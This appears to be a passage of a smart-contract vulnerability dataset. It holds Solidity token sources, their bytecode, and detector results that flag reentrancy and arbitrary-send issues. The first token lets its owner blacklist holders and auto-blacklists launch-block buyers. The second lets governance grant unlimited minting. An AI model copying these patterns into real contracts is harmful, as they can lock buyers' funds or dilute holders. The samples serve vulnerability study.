uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (3 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15, "not larger than 15%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f1578063cf0848f714610406578063cf9d4afa14610426578063dd62ed3e14610446578063e6ec64ec1461048c578063f2fde38b146104ac57600080fd5b8063715018a6146103275780638da5cb5b1461033c57806390d49b9d1461036457806395d89b4114610384578063a9059cbb146103b1578063b515566a146103d157600080fd5b806331c2d8471161010857806331c2d847146102405780633bbac57914610260578063437823ec14610299578063476343ee146102b95780635342acb4146102ce57806370a082311461030757600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b757806318160ddd146101e757806323b872dd1461020c578063313ce5671461022c57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cc565b005b34801561017e57600080fd5b5060408051808201909152600a8152694675747572652041504560b01b60208201525b6040516101ae91906118c2565b60405180910390f35b3480156101c357600080fd5b506101d76101d236600461193c565b610518565b60405190151581526020016101ae565b3480156101f357600080fd5b50670de0b6b3a76400005b6040519081526020016101ae565b34801561021857600080fd5b506101d7610227366004611968565b61052f565b34801561023857600080fd5b5060096101fe565b34801561024c57600080fd5b5061017061025b3660046119bf565b610598565b34801561026c57600080fd5b506101d761027b366004611a84565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a557600080fd5b506101706102b4366004611a84565b61062e565b3480156102c557600080fd5b5061017061067c565b3480156102da57600080fd5b506101d76102e9366004611a84565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031357600080fd5b506101fe610322366004611a84565b6106b6565b34801561033357600080fd5b506101706106d8565b34801561034857600080fd5b506000546040516001600160a01b0390911681526020016101ae565b34801561037057600080fd5b5061017061037f366004611a84565b61070e565b34801561039057600080fd5b506040805180820190915260048152634641504560e01b60208201526101a1565b3480156103bd57600080fd5b506101d76103cc36600461193c565b610788565b3480156103dd57600080fd5b506101706103ec3660046119bf565b610795565b3480156103fd57600080fd5b506101706108ae565b34801561041257600080fd5b50610170610421366004611a84565b610965565b34801561043257600080fd5b50610170610441366004611a84565b6109b0565b34801561045257600080fd5b506101fe610461366004611aa1565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049857600080fd5b506101706104a7366004611ada565b610c0b565b3480156104b857600080fd5b506101706104c7366004611a84565b610c81565b6000546001600160a01b031633146104ff5760405162461bcd60e51b81526004016104f690611af3565b60405180910390fd5b600061050a306106b6565b905061051581610d19565b50565b6000610525338484610e93565b5060015b92915050565b600061053c848484610fb7565b61058e843361058985604051806060016040528060288152602001611c6e602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061137b565b610e93565b5060019392505050565b6000546001600160a01b031633146105c25760405162461bcd60e51b81526004016104f690611af3565b60005b815181101561062a576000600560008484815181106105e6576105e6611b28565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062281611b54565b9150506105c5565b5050565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016104f690611af3565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062a573d6000803e3d6000fd5b6001600160a01b038116600090815260016020526040812054610529906113b5565b6000546001600160a01b031633146107025760405162461bcd60e51b81526004016104f690611af3565b61070c6000611439565b565b6000546001600160a01b031633146107385760405162461bcd60e51b81526004016104f690611af3565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610525338484610fb7565b6000546001600160a01b031633146107bf5760405162461bcd60e51b81526004016104f690611af3565b60005b815181101561062a57600c5482516001600160a01b03909116908390839081106107ee576107ee611b28565b60200260200101516001600160a01b03161415801561083f5750600b5482516001600160a01b039091169083908390811061082b5761082b611b28565b60200260200101516001600160a01b031614155b1561089c5760016005600084848151811061085c5761085c611b28565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a681611b54565b9150506107c2565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016104f690611af3565b600c54600160a01b900460ff1661093c5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f6565b600c805460ff60b81b1916600160b81b17905542600d8190556109609060b4611b6f565b600e55565b6000546001600160a01b0316331461098f5760405162461bcd60e51b81526004016104f690611af3565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109da5760405162461bcd60e51b81526004016104f690611af3565b600c54600160a01b900460ff1615610a425760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abd9190611b87565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2e9190611b87565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9f9190611b87565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c355760405162461bcd60e51b81526004016104f690611af3565b600f811115610c7c5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104f6565b600855565b6000546001600160a01b03163314610cab5760405162461bcd60e51b81526004016104f690611af3565b6001600160a01b038116610d105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f6565b61051581611439565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6157610d61611b28565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190611b87565b81600181518110610df157610df1611b28565b6001600160a01b039283166020918202929092010152600b54610e179130911684610e93565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e50908590600090869030904290600401611ba4565b600060405180830381600087803b158015610e6a57600080fd5b505af1158015610e7e573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f6565b6001600160a01b038216610f565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f6565b6001600160a01b03821661107d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f6565b600081116110df5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f6565b6001600160a01b03831660009081526005602052604090205460ff161561110557600080fd5b6001600160a01b03831660009081526004602052604081205460ff1615801561114757506001600160a01b03831660009081526004602052604090205460ff16155b801561115d5750600c54600160a81b900460ff16155b801561118d5750600c546001600160a01b038581169116148061118d5750600c546001600160a01b038481169116145b1561136957600c54600160b81b900460ff166111eb5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f6565b50600c546001906001600160a01b03858116911614801561121a5750600b546001600160a01b03848116911614155b8015611227575042600e54115b1561126e576000611237846106b6565b90506112576064611251670de0b6b3a76400006002611489565b90611508565b611261848361154a565b111561126c57600080fd5b505b600d5442141561129c576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112a7306106b6565b600c54909150600160b01b900460ff161580156112d25750600c546001600160a01b03868116911614155b1561136757801561136757600c546113069060649061125190600f90611300906001600160a01b03166106b6565b90611489565b81111561133357600c546113309060649061125190600f90611300906001600160a01b03166106b6565b90505b6000611345600c611251846005611489565b90506113518183611c15565b915061135c816115a9565b61136582610d19565b505b505b611375848484846115d9565b50505050565b6000818484111561139f5760405162461bcd60e51b81526004016104f691906118c2565b5060006113ac8486611c15565b95945050505050565b600060065482111561141c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f6565b60006114266116dc565b90506114328382611508565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261149857506000610529565b60006114a48385611c2c565b9050826114b18583611c4b565b146114325760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f6565b600061143283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ff565b6000806115578385611b6f565b9050838110156114325760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f6565b600c805460ff60b01b1916600160b01b1790556115c93061dead83610fb7565b50600c805460ff60b01b19169055565b80806115e7576115e761172d565b6000806000806115f687611749565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116239085611790565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611652908461154a565b6001600160a01b038916600090815260016020526040902055611674816117d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116b991815260200190565b60405180910390a350505050806116d5576116d5600954600855565b5050505050565b60008060006116e961181c565b90925090506116f88282611508565b9250505090565b600081836117205760405162461bcd60e51b81526004016104f691906118c2565b5060006113ac8486611c4b565b60006008541161173c57600080fd5b6008805460095560009055565b60008060008060008061175e8760085461185c565b91509150600061176c6116dc565b905060008061177c8a8585611889565b909b909a5094985092965092945050505050565b600061143283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061137b565b60006117dc6116dc565b905060006117ea8383611489565b30600090815260016020526040902054909150611807908261154a565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118378282611508565b82101561185357505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061186f60646112518787611489565b9050600061187d8683611790565b96919550909350505050565b600080806118978685611489565b905060006118a58686611489565b905060006118b38383611790565b92989297509195505050505050565b600060208083528351808285015260005b818110156118ef578581018301518582016040015282016118d3565b81811115611901576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051557600080fd5b803561193781611917565b919050565b6000806040838503121561194f57600080fd5b823561195a81611917565b946020939093013593505050565b60008060006060848603121561197d57600080fd5b833561198881611917565b9250602084013561199881611917565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119d257600080fd5b823567ffffffffffffffff808211156119ea57600080fd5b818501915085601f8301126119fe57600080fd5b813581811115611a1057611a106119a9565b8060051b604051601f19603f83011681018181108582111715611a3557611a356119a9565b604052918252848201925083810185019188831115611a5357600080fd5b938501935b82851015611a7857611a698561192c565b84529385019392850192611a58565b98975050505050505050565b600060208284031215611a9657600080fd5b813561143281611917565b60008060408385031215611ab457600080fd5b8235611abf81611917565b91506020830135611acf81611917565b809150509250929050565b600060208284031215611aec57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b6857611b68611b3e565b5060010190565b60008219821115611b8257611b82611b3e565b500190565b600060208284031215611b9957600080fd5b815161143281611917565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bf45784516001600160a01b031683529383019391830191600101611bcf565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c2757611c27611b3e565b500390565b6000816000190483118215151615611c4657611c46611b3e565b500290565b600082611c6857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209bfc31f86bff296ad45cc9c3cf9fca9d851d835a028e1f65e18f74a803bf4bc964736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,669
0xd27ac9f7b4aea56d3083cdc341676e138005aeab
pragma solidity ^0.5.17; /** ******************************************************************** * .----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------. | .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. | | | ____ ____ | || | _________ | || | __ | || | _______ | || | ____ ____ | || | _________ | || | _______ | | | | |_ _||_ _| | || | |_ ___ | | || | / \ | || | |_ __ \ | || ||_ \ / _|| || | |_ ___ | | || | |_ __ \ | | | | \ \ / / | || | | |_ \_| | || | / /\ \ | || | | |__) | | || | | \/ | | || | | |_ \_| | || | | |__) | | | | | \ \/ / | || | | _| | || | / ____ \ | || | | __ / | || | | |\ /| | | || | | _| _ | || | | __ / | | | | _| |_ | || | _| |_ | || | _/ / \ \_ | || | _| | \ \_ | || | _| |_\/_| |_ | || | _| |___/ | | || | _| | \ \_ | | | | |______| | || | |_____| | || ||____| |____|| || | |____| |___| | || ||_____||_____|| || | |_________| | || | |____| |___| | | | | | || | | || | | || | | || | | || | | || | | | | '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' | '----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------' ******************************************************************** */ interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract YFARMER is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor (address newOwner) public ERC20Detailed("YFarmLand Token", "YFARMER", 18) { governance = msg.sender; _mint(newOwner,6000000000000000000000); } function mint(address account, uint256 amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d714610522578063a9059cbb14610588578063ab033ea9146105ee578063dd62ed3e14610632578063f46eccc4146106aa5761010b565b80635aa6e675146103b957806370a082311461040357806395d89b411461045b578063983b2d56146104de5761010b565b80633092afd5116100de5780633092afd51461029d578063313ce567146102e1578063395093511461030557806340c10f191461036b5761010b565b806306fdde0314610110578063095ea7b31461019357806318160ddd146101f957806323b872dd14610217575b600080fd5b610118610706565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107a8565b604051808215151515815260200191505060405180910390f35b6102016107c6565b6040518082815260200191505060405180910390f35b6102836004803603606081101561022d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107d0565b604051808215151515815260200191505060405180910390f35b6102df600480360360208110156102b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a9565b005b6102e96109c7565b604051808260ff1660ff16815260200191505060405180910390f35b6103516004803603604081101561031b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109de565b604051808215151515815260200191505060405180910390f35b6103b76004803603604081101561038157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a91565b005b6103c1610b5e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104456004803603602081101561041957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b84565b6040518082815260200191505060405180910390f35b610463610bcc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a3578082015181840152602081019050610488565b50505050905090810190601f1680156104d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610520600480360360208110156104f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c6e565b005b61056e6004803603604081101561053857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d8c565b604051808215151515815260200191505060405180910390f35b6105d46004803603604081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e59565b604051808215151515815260200191505060405180910390f35b6106306004803603602081101561060457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e77565b005b6106946004803603604081101561064857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7e565b6040518082815260200191505060405180910390f35b6106ec600480360360208110156106c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611005565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561079e5780601f106107735761010080835404028352916020019161079e565b820191906000526020600020905b81548152906001019060200180831161078157829003601f168201915b5050505050905090565b60006107bc6107b5611025565b848461102d565b6001905092915050565b6000600254905090565b60006107dd848484611224565b61089e846107e9611025565b6108998560405180606001604052806028815260200161184960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084f611025565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114da9092919063ffffffff16565b61102d565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000610a876109eb611025565b84610a8285600160006109fc611025565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a90919063ffffffff16565b61102d565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b50576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b5a8282611622565b5050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c645780601f10610c3957610100808354040283529160200191610c64565b820191906000526020600020905b815481529060010190602001808311610c4757829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e4f610d99611025565b84610e4a856040518060600160405280602581526020016118ba6025913960016000610dc3611025565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114da9092919063ffffffff16565b61102d565b6001905092915050565b6000610e6d610e66611025565b8484611224565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806118966024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611139576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806118016022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c